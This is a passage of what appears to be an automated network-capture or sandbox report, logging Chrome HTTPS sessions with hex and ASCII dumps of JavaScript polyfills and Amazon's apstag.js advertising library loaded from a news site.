global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ea=da(this),fa="function"===typeof Symbol&&"symbol"=
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 22 41 72 72 61 79 20 49 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 41 72 72 61 79 20 55 69 6e 74 38 43 6c 61 6d 70 65 64 41 72 72 61 79 20 49 6e 74 31 36 41 72 72 61 79 20 55 69 6e 74 31 36 41 72 72 61 79 20 49 6e 74 33 32 41 72 72 61 79 20 55 69 6e 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 33 32 41 72 72 61 79 20 46 6c 6f 61 74 36 34 41 72 72 61 79 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 7b 76 61 72 20 64 3d 65 61 5b 62 5b 63 5d 5d 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 64 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 64 2e 70 72 6f 74 6f 74 79 70 65 5b 61 5d 26 26 63 61 28 64 2e 70 72 6f 74 6f 74 79 70 65 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 Data Ascii: "Array Int8Array Uint8Array Uint8ClampedArray Int16Array Uint16Array Int32Array Uint32Array Float32Array Float64Array".split(" "),c=0;c<b.length;c++){var d=ea[b[c]];"function"===typeof d&&"function"!=typeof d.prototype[a]&&ca(d.prototype,a,{configurable:!
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 29 6d 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 6e 61 3b 61 3a 7b 76 61 72 20 6f 61 3d 7b 61 3a 21 30 7d 2c 70 61 3d 7b 7d 3b 74 72 79 7b 70 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6f 61 3b 6e 61 3d 70 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6e 61 3d 21 31 7d 6d 61 3d 6e 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 21 3d 3d 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 61 2b 22 20 69 73 20 6e 6f 74 20 65 78 74 65 6e 73 69 62 6c 65 22 29 3b 72 65 74 75 72 6e 20 61 7d 3a 6e 75 6c 6c 7d 76 61 72 20 72 61 3d 6d 61 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 70 72 Data Ascii: )ma=Object.setPrototypeOf;else{var na;a:{var oa={a:!0},pa={};try{pa.__proto__=oa;na=pa.a;break a}catch(a){}na=!1}ma=na?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}var ra=ma,B=function(a,b){a.pr
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 28 67 29 3b 66 6f 72 28 76 61 72 20 68 3b 21 28 68 3d 67 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 68 3d 68 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 68 5b 30 5d 2c 68 5b 31 5d 29 7d 7d 3b 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 69 66 28 21 63 28 67 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 57 65 61 6b 4d 61 70 20 6b 65 79 22 29 3b 69 66 28 21 7a 28 67 2c 64 29 29 7b 76 61 72 20 6b 3d 6e 65 77 20 62 3b 63 61 28 67 2c 64 2c 7b 76 61 6c 75 65 3a 6b 7d 29 7d 69 66 28 21 7a 28 67 2c 64 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 57 65 61 6b 4d 61 70 20 6b 65 79 20 66 61 69 6c 3a 20 22 2b 67 29 3b 67 5b 64 5d 5b 74 68 69 73 2e 67 5d 3d 68 3b 72 65 74 75 72 6e 20 74 68 69 73 Data Ascii: (g);for(var h;!(h=g.next()).done;)h=h.value,this.set(h[0],h[1])}};f.prototype.set=function(g,h){if(!c(g))throw Error("Invalid WeakMap key");if(!z(g,d)){var k=new b;ca(g,d,{value:k})}if(!z(g,d))throw Error("WeakMap key fail: "+g);g[d][this.g]=h;return this
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 64 3a 74 68 69 73 5b 31 5d 2c 6b 65 79 3a 68 2c 76 61 6c 75 65 3a 6b 7d 2c 6c 2e 6c 69 73 74 2e 70 75 73 68 28 6c 2e 42 29 2c 74 68 69 73 5b 31 5d 2e 47 2e 6e 65 78 74 3d 6c 2e 42 2c 74 68 69 73 5b 31 5d 2e 47 3d 6c 2e 42 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 68 3d 64 28 74 68 69 73 2c 68 29 3b 72 65 74 75 72 6e 20 68 2e 42 26 26 68 2e 6c 69 73 74 3f 28 68 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 68 2e 69 6e 64 65 78 2c 31 29 2c 68 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 68 2e 69 64 5d 2c 68 2e 42 2e 47 2e 6e 65 78 74 3d 68 2e 42 2e 6e 65 78 74 2c 68 2e 42 2e 6e 65 78 74 2e 47 Data Ascii: d:this[1],key:h,value:k},l.list.push(l.B),this[1].G.next=l.B,this[1].G=l.B,this.size++);return this};c.prototype.delete=function(h){h=d(this,h);return h.B&&h.list?(h.list.splice(h.index,1),h.list.length\|\|delete this[0][h.id],h.B.G.next=h.B.next,h.B.next.G
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 3d 68 5b 31 5d 3b 29 6c 3d 6c 2e 47 3b 66 6f 72 28 3b 6c 2e 6e 65 78 74 21 3d 6c 2e 68 65 61 64 3b 29 72 65 74 75 72 6e 20 6c 3d 6c 2e 6e 65 78 74 2c 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 6b 28 6c 29 7d 3b 6c 3d 6e 75 6c 6c 7d 72 65 74 75 72 6e 7b 64 6f 6e 65 3a 21 30 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 7d 7d 29 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 7b 7d 3b 72 65 74 75 72 6e 20 68 2e 47 3d 68 2e 6e 65 78 74 3d 68 2e 68 65 61 64 3d 68 7d 2c 67 3d 30 3b 72 65 74 75 72 6e 20 63 7d 2c 22 65 73 36 22 29 3b 76 28 22 4e 75 6d 62 65 72 2e 4d 41 58 5f 53 41 46 45 5f 49 4e 54 45 47 45 52 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 39 30 30 37 31 39 39 32 35 34 37 34 30 39 39 31 7d 2c 22 65 73 36 22 29 3b 76 28 22 Data Ascii: =h[1];)l=l.G;for(;l.next!=l.head;)return l=l.next,{done:!1,value:k(l)};l=null}return{done:!0,value:void 0}})},f=function(){var h={};return h.G=h.next=h.head=h},g=0;return c},"es6");v("Number.MAX_SAFE_INTEGER",function(){return 9007199254740991},"es6");v("
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 7c 75 28 4f 62 6a 65 63 74 2c 22 69 73 22 29 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 2c 66 2c 62 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 7d 2c 22 65 73 37 22 29 3b 76 61 72 20 74 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 6e 75 6c 6c 3d 3d 61 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 Data Ascii: \|u(Object,"is").call(Object,f,b))return!0}return!1}},"es7");var ta=function(a,b,c){if(null==a)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to St
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 74 28 29 29 2e 64 6f 6e 65 3b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 66 2e 76 61 6c 75 65 2c 67 2b 2b 29 29 7d 65 6c 73 65 20 66 6f 72 28 66 3d 62 2e 6c 65 6e 67 74 68 2c 67 3d 30 3b 67 3c 66 3b 67 2b 2b 29 65 2e 70 75 73 68 28 63 2e 63 61 6c 6c 28 64 2c 62 5b 67 5d 2c 67 29 29 3b 72 65 74 75 72 6e 20 65 7d 7d 2c 22 65 73 36 22 29 3b 76 28 22 53 65 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 61 7c 7c 21 75 28 61 2e 70 72 6f 74 6f 74 79 70 65 2c 22 65 6e 74 72 69 65 73 22 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 Data Ascii: t()).done;)e.push(c.call(d,f.value,g++))}else for(f=b.length,g=0;g<f;g++)e.push(c.call(d,b[g],g));return e}},"es6");v("Set",function(a){if(function(){if(!a\|\|"function"!=typeof a\|\|!u(a.prototype,"entries")\|\|"function"!=typeof Object.seal)return!1;try{var c
2024-03-28 08:51:14 UTC	1252	IN	Data Raw: 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 67 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 64 2c 66 2c 66 2c 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 62 7d 2c 22 65 73 36 22 29 3b 76 28 22 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 5b 5d 2c 64 3b 66 6f 72 28 64 20 69 6e 20 62 29 7a 28 62 2c 64 29 26 26 63 2e 70 75 73 68 28 5b 64 2c 62 5b 64 5d 5d 29 3b 72 65 74 75 72 6e 20 63 7d 7d 2c 22 65 73 38 22 29 3b 76 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 Data Ascii: ach=function(c,d){var e=this;this.g.forEach(function(f){return c.call(d,f,f,e)})};return b},"es6");v("Object.entries",function(a){return a?a:function(b){var c=[],d;for(d in b)z(b,d)&&c.push([d,b[d]]);return c}},"es8");v("String.prototype.startsWith",funct

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	49951	3.162.128.169	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:14 UTC	528	OUT	GET /aax2/apstag.js HTTP/1.1 Host: c.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:14 UTC	652	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 305153 Connection: close Date: Thu, 28 Mar 2024 08:31:47 GMT Last-Modified: Wed, 27 Mar 2024 15:16:16 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 Accept-Ranges: bytes Server: AmazonS3 Via: 1.1 de2ed3c94563fee614f35f9bc3f52d1c.cloudfront.net (CloudFront), 1.1 0a2ddb6f9b0df10d973faa154be16dba.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD89-C3 ETag: "b9e5bc6ae2304c1ff623d74c6e93fe00" Vary: Accept-Encoding X-Cache: Hit from cloudfront X-Amz-Cf-Pop: IAD61-P3 X-Amz-Cf-Id: TE4KYHOLFaAZaLgUA-_tWndVX2GkaA7NIegJrGJMfesZgTqYYrCXEw== Age: 1168
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 2f 2a 21 20 40 61 6d 7a 6e 2f 61 70 73 77 65 62 61 70 73 74 61 67 6c 69 62 72 61 72 79 20 2d 20 77 65 62 2d 63 6c 69 65 6e 74 2d 62 75 6e 64 6c 65 20 2d 20 76 32 34 2e 33 30 35 2e 31 30 30 32 20 2d 20 32 30 32 34 2d 30 33 2d 30 35 20 31 30 3a 30 32 3a 31 38 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 74 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 7d 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 20 69 6e Data Ascii: /! @amzn/apswebapstaglibrary - web-client-bundle - v24.305.1002 - 2024-03-05 10:02:18 /!function(){"use strict";var t=function(e,n){return t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 29 3a 65 7d 29 2c 22 22 29 3b 72 65 74 75 72 6e 20 6e 2e 6c 65 6e 67 74 68 3e 30 3f 6e 3a 6e 75 6c 6c 7d 2c 74 68 69 73 2e 72 65 6d 6f 76 65 49 74 65 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 22 2f 22 29 2c 65 2e 73 65 74 49 74 65 6d 28 74 2c 22 22 2c 30 2c 6e 29 7d 2c 74 68 69 73 2e 73 65 74 49 74 65 6d 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 6f 2c 72 29 7b 76 6f 69 64 20 30 3d 3d 3d 72 26 26 28 72 3d 22 2f 22 29 3b 76 61 72 20 69 3d 6e 65 77 20 44 61 74 65 28 6f 29 3b 69 66 28 21 65 2e 69 73 56 61 6c 69 64 44 61 74 65 28 69 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 65 78 70 69 72 61 74 69 6f 6e 20 64 61 74 65 22 29 3b 65 2e 67 6c 6f 62 61 6c 43 6f 6e 74 65 78 74 Data Ascii: ):e}),"");return n.length>0?n:null},this.removeItem=function(t,n){void 0===n&&(n="/"),e.setItem(t,"",0,n)},this.setItem=function(t,n,o,r){void 0===r&&(r="/");var i=new Date(o);if(!e.isValidDate(i))throw new Error("Invalid expiration date");e.globalContext
2024-03-28 08:51:14 UTC	14336	IN	Data Raw: 2d 63 2e 74 69 6d 65 53 74 61 6d 70 3a 76 6f 69 64 20 30 3b 6f 2e 72 65 63 6f 72 64 53 74 61 74 75 73 43 68 61 6e 67 65 45 76 65 6e 74 28 7b 69 64 3a 74 2e 74 79 70 65 2c 73 74 61 74 75 73 3a 6e 2c 70 72 6f 70 73 3a 65 28 65 28 7b 7d 2c 72 29 2c 7b 74 69 6d 65 72 73 3a 7b 73 69 6e 63 65 43 72 65 61 74 65 64 3a 61 2d 74 2e 74 69 6d 65 53 74 61 6d 70 2c 73 69 6e 63 65 53 74 61 72 74 65 64 3a 75 7d 7d 29 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 41 6e 64 4c 6f 67 45 76 65 6e 74 53 74 61 74 75 73 4f 6e 43 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 6f 29 7b 76 61 72 20 72 3b 74 2e 73 74 61 74 75 73 21 3d 3d 65 26 26 28 59 28 29 26 26 51 2e 69 6e 66 6f 28 22 23 23 23 20 55 70 64 61 74 65 20 22 2e 63 6f 6e 63 61 74 28 Data Ascii: -c.timeStamp:void 0;o.recordStatusChangeEvent({id:t.type,status:n,props:e(e({},r),{timers:{sinceCreated:a-t.timeStamp,sinceStarted:u}})})},t.prototype.updateAndLogEventStatusOnChange=function(t,e,n,o){var r;t.status!==e&&(Y()&&Q.info("### Update ".concat(
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 29 2c 72 3d 76 74 28 74 29 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 6f 2e 73 6c 6f 74 50 61 72 61 6d 73 3d 72 29 2c 76 6f 69 64 20 30 21 3d 3d 74 2e 66 6c 72 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 2e 66 6c 72 63 75 72 26 26 22 55 53 44 22 21 3d 3d 74 2e 66 6c 72 63 75 72 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 69 74 65 6d 2e 66 6c 72 63 75 72 3a 20 6f 6e 6c 79 20 22 55 53 44 22 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 73 75 70 70 6f 72 74 65 64 27 29 3b 6f 2e 66 6c 6f 6f 72 3d 7b 76 61 6c 75 65 3a 74 2e 66 6c 72 2c 63 75 72 72 65 6e 63 79 3a 22 55 53 44 22 7d 7d 72 65 74 75 72 6e 20 6f 7d 28 74 29 7d 29 29 7d 28 69 29 2c 5b 34 2c 6b 74 28 7b 61 63 63 6f 75 6e 74 3a 6e 2c 6c 65 67 61 63 79 53 6c 6f 74 73 3a 74 2c 70 75 62 6c Data Ascii: ),r=vt(t);if(void 0!==r&&(o.slotParams=r),void 0!==t.flr){if(void 0!==t.flrcur&&"USD"!==t.flrcur)throw new Error('item.flrcur: only "USD" is currently supported');o.floor={value:t.flr,currency:"USD"}}return o}(t)}))}(i),[4,kt({account:n,legacySlots:t,publ
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 61 63 65 6d 65 6e 74 5f 68 69 6e 74 5f 64 65 66 69 6e 65 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 61 63 63 6f 75 6e 74 2c 6e 3d 74 2e 63 75 73 74 6f 6d 45 76 65 6e 74 3b 72 65 74 75 72 6e 20 6f 28 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6f 2c 69 2c 61 2c 63 3b 72 65 74 75 72 6e 20 72 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 28 6e 75 6c 6c 3d 3d 3d 28 63 3d 6e 2e 64 65 74 61 69 6c 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 63 3f 76 6f 69 64 20 30 3a 63 2e 69 64 29 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 48 69 6e 74 20 60 69 64 60 20 6d 75 73 74 20 62 65 20 64 65 66 69 6e 65 64 22 29 3b 72 65 74 75 72 Data Ascii: acement_hint_define,function(t){var e=t.account,n=t.customEvent;return o(void 0,void 0,void 0,(function(){var t,o,i,a,c;return r(this,(function(r){if(void 0===(null===(c=n.detail)\|\|void 0===c?void 0:c.id))throw new Error("Hint `id` must be defined");retur
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 69 64 7d 2c 69 2e 64 65 74 61 69 6c 2e 63 6f 6e 66 69 67 29 29 2c 5b 32 2c 6c 2e 63 6f 6d 70 6c 65 74 65 64 5d 7d 29 29 7d 29 29 7d 5d 2c 5b 22 61 64 2f 72 65 63 6f 72 64 2f 75 70 64 61 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 61 63 63 6f 75 6e 74 2c 6e 3d 74 2e 63 75 73 74 6f 6d 45 76 65 6e 74 3b 72 65 74 75 72 6e 20 6f 28 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3b 72 65 74 75 72 6e 20 72 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 73 77 69 74 63 68 28 6f 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 67 6c 6f 62 61 6c 43 6f 6e 74 65 78 74 2e 61 70 73 74 Data Ascii: id},i.detail.config)),[2,l.completed]}))}))}],["ad/record/update",function(t){var e=t.account,n=t.customEvent;return o(void 0,void 0,void 0,(function(){var t;return r(this,(function(o){switch(o.label){case 0:return void 0===(null===(t=e.globalContext.apst
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 65 64 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 22 43 4d 50 5f 46 49 52 45 44 22 3d 3d 3d 65 2e 74 79 70 65 7c 7c 74 7d 28 74 2e 63 6d 70 46 69 72 65 64 2c 65 29 2c 63 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 22 53 45 54 5f 43 4f 4e 46 49 47 22 21 3d 3d 65 2e 74 79 70 65 3f 73 28 7b 7d 2c 74 29 3a 73 28 73 28 7b 7d 2c 65 2e 63 6f 6e 66 69 67 29 2c 7b 7d 2c 7b 67 64 70 72 3a 73 28 7b 63 6d 70 54 69 6d 65 6f 75 74 3a 65 2e 64 65 66 61 75 6c 74 43 6d 70 54 69 6d 65 6f 75 74 7d 2c 65 2e 63 6f 6e 66 69 67 2e 67 64 70 72 29 2c 69 73 53 65 6c 66 53 65 72 76 65 50 75 62 3a 76 6f 69 64 20 30 21 3d 3d 65 2e 63 6f 6e 66 69 67 2e 70 75 62 49 44 26 26 35 3c 3d 65 2e 63 6f 6e 66 69 67 2e 70 75 62 49 44 2e 6c 65 Data Ascii: ed:function(t,e){return"CMP_FIRED"===e.type\|\|t}(t.cmpFired,e),config:function(t,e){return"SET_CONFIG"!==e.type?s({},t):s(s({},e.config),{},{gdpr:s({cmpTimeout:e.defaultCmpTimeout},e.config.gdpr),isSelfServePub:void 0!==e.config.pubID&&5<=e.config.pubID.le
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 73 4c 6f 63 61 6c 53 74 6f 72 61 67 65 22 2c 22 65 78 63 65 70 74 69 6f 6e 22 29 2c 21 31 7d 7d 28 65 3d 72 3d 72 7c 7c 7b 7d 29 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 3d 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 2c 65 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 3d 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 2c 28 6f 3d 6f 7c 7c 7b 7d 29 2e 64 6f 63 75 6d 65 6e 74 3d 22 64 6f 63 75 6d 65 6e 74 22 2c 28 6e 3d 69 3d 69 7c 7c 7b 7d 29 2e 63 6c 65 61 72 3d 22 63 6c 65 61 72 22 2c 6e 2e 67 65 74 49 74 65 6d 3d 22 67 65 74 49 74 65 6d 22 2c 6e 2e 6b 65 79 3d 22 6b 65 79 22 2c 6e 2e 72 65 6d 6f 76 65 49 74 65 6d 3d 22 72 65 6d 6f 76 65 49 74 65 6d 22 2c 6e 2e 73 65 74 49 74 65 6d 3d 22 73 65 74 49 74 65 6d 22 2c 6e 2e 6c 65 6e 67 74 68 3d 22 6c 65 6e 67 74 Data Ascii: sLocalStorage","exception"),!1}}(e=r=r\|\|{}).sessionStorage="sessionStorage",e.localStorage="localStorage",(o=o\|\|{}).document="document",(n=i=i\|\|{}).clear="clear",n.getItem="getItem",n.key="key",n.removeItem="removeItem",n.setItem="setItem",n.length="lengt
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 6d 65 6e 74 73 5b 33 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 33 5d 3a 22 6f 6e 6c 6f 61 64 22 3b 74 72 79 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 28 74 5b 6f 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 6e 29 7d 2c 21 30 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 72 2e 62 29 28 74 2c 22 61 64 64 43 61 6c 6c 62 61 63 6b 46 75 6e 63 74 69 6f 6e 22 29 2c 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 72 2e 62 29 28 74 2c 22 6f 62 6a Data Ascii: ments[3]?arguments[3]:"onload";try{return"function"==typeof e&&(t[o]=function(){e.apply(null,n)},!0)}catch(t){return Object(r.b)(t,"addCallbackFunction"),!1}}function s(t){try{return encodeURIComponent(JSON.stringify(t))}catch(t){return Object(r.b)(t,"obj
2024-03-28 08:51:14 UTC	16384	IN	Data Raw: 65 74 49 44 2c 62 69 64 53 74 61 74 65 3a 69 2e 63 2e 65 78 70 6f 73 65 64 7d 29 2c 74 5b 6e 5d 3d 61 29 2c 74 7d 29 2c 7b 7d 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 28 73 2e 62 29 28 74 2c 22 67 65 74 4e 65 77 53 6c 6f 74 42 69 64 73 41 6e 64 45 78 70 6f 73 65 46 6f 72 52 65 71 75 65 73 74 65 64 53 6c 6f 74 73 22 29 2c 7b 7d 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 22 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 29 29 2c 6e 2e 64 28 65 2c 22 62 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 29 29 3b 76 61 72 20 72 3d 6e 28 31 29 2c 6f 3d 6e 28 30 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 72 65 Data Ascii: etID,bidState:i.c.exposed}),t[n]=a),t}),{})}catch(t){return Object(s.b)(t,"getNewSlotBidsAndExposeForRequestedSlots"),{}}}},function(t,e,n){"use strict";n.d(e,"a",(function(){return a})),n.d(e,"b",(function(){return c}));var r=n(1),o=n(0);function i(t){re

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.4	49958	37.19.206.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
